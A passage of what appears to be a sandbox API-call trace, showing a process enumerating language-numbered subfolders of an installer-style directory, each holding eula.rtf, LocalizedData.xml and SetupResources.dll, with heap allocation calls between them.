ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.681] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.681] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.682] GetProcessHeap () returned 0xc00000 [0088.682] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.682] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1045", cAlternateFileName="")) returned 1 [0088.682] GetProcessHeap () returned 0xc00000 [0088.682] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.682] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.682] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.682] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.682] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.682] GetProcessHeap () returned 0xc00000 [0088.682] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.682] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1046", cAlternateFileName="")) returned 1 [0088.683] GetProcessHeap () returned 0xc00000 [0088.683] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.683] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.683] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.683] GetProcessHeap () returned 0xc00000 [0088.683] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.683] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1049", cAlternateFileName="")) returned 1 [0088.683] GetProcessHeap () returned 0xc00000 [0088.683] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.683] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.683] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.684] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.684] GetProcessHeap () returned 0xc00000 [0088.684] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.684] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1053", cAlternateFileName="")) returned 1 [0088.684] GetProcessHeap () returned 0xc00000 [0088.684] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19b78 [0088.684] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.684] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.685] FindNextFileW (in: hFindFile=0xc19b78, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.685] FindClose (in: hFindFile=0xc19b78 | out: hFindFile=0xc19b78) returned 1 [0088.685] GetProcessHeap () returned 0xc00000 [0088.685] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.685] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1055", cAlternateFileName="")) returned 1 [0088.685] GetProcessHeap () returned 0xc00000 [0088.685] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.685] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName="..", cAlternateFileName="")) returned 1 [0088.685] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x10b, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.685] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x10b, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.685] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.685] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x10b, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.685] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.685] GetProcessHeap () returned 0xc00000 [0088.685] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x3770070 | out: hHeap=0xc00000) returned 1 [0088.685] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2fdf590 | out: lpFindFileData=0x2fdf590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2052", cAlternateFileName="")) returned 1 [0088.686] GetProcessHeap () returned 0xc00000 [0088.686] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x3770070 [0088.686] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x10b, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.686] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdf308 | out: lpFindFileData=0x2fdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, 